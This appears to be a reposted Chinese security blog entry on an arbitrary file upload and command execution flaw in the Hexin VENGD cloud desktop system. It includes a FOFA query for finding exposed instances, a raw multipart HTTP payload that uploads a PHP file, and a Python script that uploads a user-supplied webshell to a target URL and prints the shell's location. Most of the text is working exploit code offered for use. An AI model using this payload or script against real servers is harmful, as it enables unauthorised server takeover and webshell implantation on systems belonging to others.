简介
和信下一代云桌面,是一款基于NGD(Next Generation Desktop)架构的桌面虚拟化产品,融合帧传输(VDI)和流传输(VOI/IDV),构建既可以利用服务器的计算资源进行集中计算,又可以利用终端本身的资源进行分布计算的“前后端混合计算”模式,从而有效解决客户终端在集中管理、高效运维和安全可用等难题。
漏洞
和信创天云桌面系统存在命令执行_任意文件上传,可上传恶意文件获取服务器权限
FOFA语句
title="和信下一代云桌面VENGD"
复现
payload:
POST /Upload/upload_file.php?l=test HTTP/1.1
Host: X.X.X.X
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/avif
<?php
phpinfo();
?>
------WebKitFormBoundaryfcKRltGv--
POC:(python3)
import requests
import time
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning #消除警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) # 消除警告
# fofa :body="和信下一代云桌面"
p=input('请输入要上传的木马文件:')
i = open(p,'r+',encoding='utf-8')
pp = i.read()
url=input('请输入url:')
url =url
url1 = url + '/Upload/upload_file.php?l=test'
data = '''
------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="l.php"
Content-Type: image/avif
{}
------WebKitFormBoundaryfcKRltGv--
'''.format(pp)
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",
"Content-Type": "multipart/form-data;boundary=----WebKitFormBoundaryfcKRltGv"
}
r = requests.get(url=url1,verify=False,timeout = 10)
if r.status_code == 200 and '_Requst' in r.text:
#print(r.text)
t = requests.post(url = url1 ,headers=headers,data=data,verify=False,timeout = 10)
#print(t.text)
if t.status_code == 200 and '_Requst' in t.text:
print('存在和信创天云桌面系统_命令执行_任意文件上传')
print('[#] 正在上传木马文件')
time.sleep(5)
print('马子地址为:'+url+'/Upload/test/l.php')
else:
print('[x] {}不存在和信创天云桌面系统_命令执行_任意文件上传'.format(url))
else:
print('[x] {}不存在和信创天云桌面系统_命令执行_任意文件上传'.format(url))
我的微信公众号:刘一手学安全
转载:https://blog.csdn.net/Kris__zhang/article/details/116725307
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